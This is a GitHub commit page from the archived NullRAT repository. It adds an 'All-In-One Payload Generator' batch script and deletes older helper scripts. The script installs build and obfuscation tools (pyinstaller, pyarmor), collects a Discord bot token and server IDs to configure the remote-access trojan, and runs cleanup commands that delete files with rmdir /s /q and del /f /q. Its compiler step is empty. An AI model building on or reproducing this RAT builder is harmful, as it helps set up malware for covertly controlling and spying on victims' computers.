Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 57cfe10

Browse files
committed
Remove all previous helpers and add fancy compiler
1 parent 46d13eb commit 57cfe10

5 files changed

Lines changed: 145 additions & 165 deletions

File tree

AIO.bat

Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
@echo off & @title NullRAT AIO
2+
chcp 65001 & cd "%~dp0NullRAT"
3+
mode con: cols=80 lines=29
4+
5+
:main
6+
cls & echo Press any key to start, C to clean working dir, E to exit:
7+
8+
echo 
9+
echo. & echo. & echo. & echo. & echo. & echo. & echo.
10+
echo ███╗ ██╗██╗ ██╗██╗ ██╗ ██████╗ █████╗ ████████╗
11+
echo ████╗ ██║██║ ██║██║ ██║ ██╔══██╗██╔══██╗╚══██╔══╝
12+
echo ██╔██╗ ██║██║ ██║██║ ██║ ██████╔╝███████║ ██║
13+
echo ██║╚██╗██║██║ ██║██║ ██║ ██╔══██╗██╔══██║ ██║
14+
echo ██║ ╚████║╚██████╔╝███████╗███████╗██║ ██║██║ ██║ ██║
15+
echo ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
16+
echo.
17+
echo ╔══════════════════════════════════════╗
18+
echo ║ ^>^>^> All-In-One Payload Generator ^<^<^< ║
19+
echo ╚══════════════════════════════════════╝
20+
echo [?25l
21+
choice /c ECABDFGHIJKLMNOPQRSTUVWXYZ123456789 /n
22+
if %errorlevel%==1 (exit /b 2)
23+
if %errorlevel%==2 (goto cleanup) else (goto depend)
24+
25+
:depend
26+
@title NullRAT AIO (Dependencies Installer)
27+
cls & echo.
28+
echo ██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗
29+
echo ███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝
30+
echo ╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║
31+
echo ██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║
32+
echo ██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║
33+
echo ╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝
34+
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N]
35+
choice /c YN /n
36+
if %errorlevel%==2 (
37+
echo Skipping
38+
goto vars
39+
) else (
40+
cls & echo.
41+
echo ██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗
42+
echo ███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝
43+
echo ╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║
44+
echo ██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║
45+
echo ██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║
46+
echo ╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝
47+
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N] & echo.
48+
echo 1^> Installing fixed version of pyinstaller...
49+
start "" "python" -m pip install pyinstaller==4.10
50+
timeout /t 3 /nobreak >nul
51+
echo 2^> Uninstalling incompatible packages...
52+
start "" "python" -m pip uninstall enum34
53+
echo 3^> Installing/Upgrading rest of dependencies...
54+
start "" "python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor
55+
timeout /t 5 /nobreak >nul
56+
start "" "python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor
57+
echo.
58+
echo ALL DONE!
59+
timeout /t 5
60+
goto vars
61+
)
62+
63+
:vars
64+
mode con: cols=90 lines=30
65+
@title NullRAT AIO (Variables Setter)
66+
cls & echo.
67+
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
68+
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
69+
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
70+
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
71+
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
72+
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
73+
cd "%~dp0NullRAT"
74+
IF EXIST "Variables.py" (goto fileE) else (echo.)
75+
76+
:a
77+
set /p "token=Enter Bot Token: "
78+
if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF)
79+
set /p "notification=Enter Notification ID: "
80+
if "%notification%"=="" (cls & echo [ERROR] Notification cannot be empty! & goto createF)
81+
set /p "server=Enter Server ID: "
82+
if "%server%"=="" (cls & echo [ERROR] Server cannot be empty! & goto createF)
83+
84+
echo ^# This file was auto-generated by NullRAT Variables^. DO NOT SHARE^! > Variables.py
85+
echo bot_token = ^"%token%^" >> Variables.py
86+
echo notification_channel = %notification% >> Variables.py
87+
echo server_ids = ^[%server%^] >> Variables.py
88+
89+
echo. &echo Variables file successfully created!
90+
timeout /t 3
91+
goto compiler
92+
93+
:fileE
94+
echo.
95+
echo A pre-existing variables file was detected.
96+
choice /c YN /n /m "Do you want to check its contents? [Y/N]"
97+
if %errorlevel%==2 (
98+
cls & echo.
99+
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
100+
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
101+
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
102+
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
103+
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
104+
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
105+
echo.
106+
goto a
107+
)
108+
109+
110+
if %errorlevel%==1 (goto endd)
111+
112+
:endd
113+
echo. & type Variables.py & echo.
114+
choice /c YN /n /m "Are all these information correct? [Y/N]"
115+
if %errorlevel%==2 (cls & goto createF)
116+
if %errorlevel%==1 (
117+
echo. & echo The following information is correct.
118+
echo Going to compiler...
119+
timeout /t 3 >nul & goto compiler
120+
)
121+
122+
:compiler
123+
124+
pause
125+
126+
:cleanup
127+
attrib +h "%~nx0"
128+
cd "%~dp0\NullRAT"
129+
move RAT.py "%~dp0\"
130+
move custom_icon.ico "%~dp0\"
131+
move upx\upx.exe "%~dp0\"
132+
cd "%~dp0\" & rmdir /s /q "%~dp0\NullRAT\"
133+
mkdir "%~dp0\NullRAT\" & move RAT.py "%~dp0\NullRAT\"
134+
move custom_icon.ico "%~dp0\NullRAT\" & mkdir "%~dp0\NullRAT\upx\"
135+
move upx.exe "%~dp0\NullRAT\upx\"
136+
if exist README.md (del README.md)
137+
if exist "Getting Variables".md (del README.md)
138+
if exist .git\ (rmdir /s /q .git\)
139+
move "%~nx0" "%~dp0\temp"
140+
del /f /q *.*
141+
rmdir /s /q * & rmdir /s /q build\
142+
cd "%~dp0\temp"
143+
move * "%~dp0\" & cd "%~dp0\"
144+
rmdir /s /q "%~dp0\temp"
145+
attrib -h "%~nx0"

NullRAT-Helpers/Cleanup.bat

Lines changed: 0 additions & 22 deletions
This file was deleted.

NullRAT-Helpers/Compiler.bat

Lines changed: 0 additions & 77 deletions
This file was deleted.

NullRAT-Helpers/DepInst.bat

Lines changed: 0 additions & 18 deletions
This file was deleted.

0 commit comments

Comments
 (0)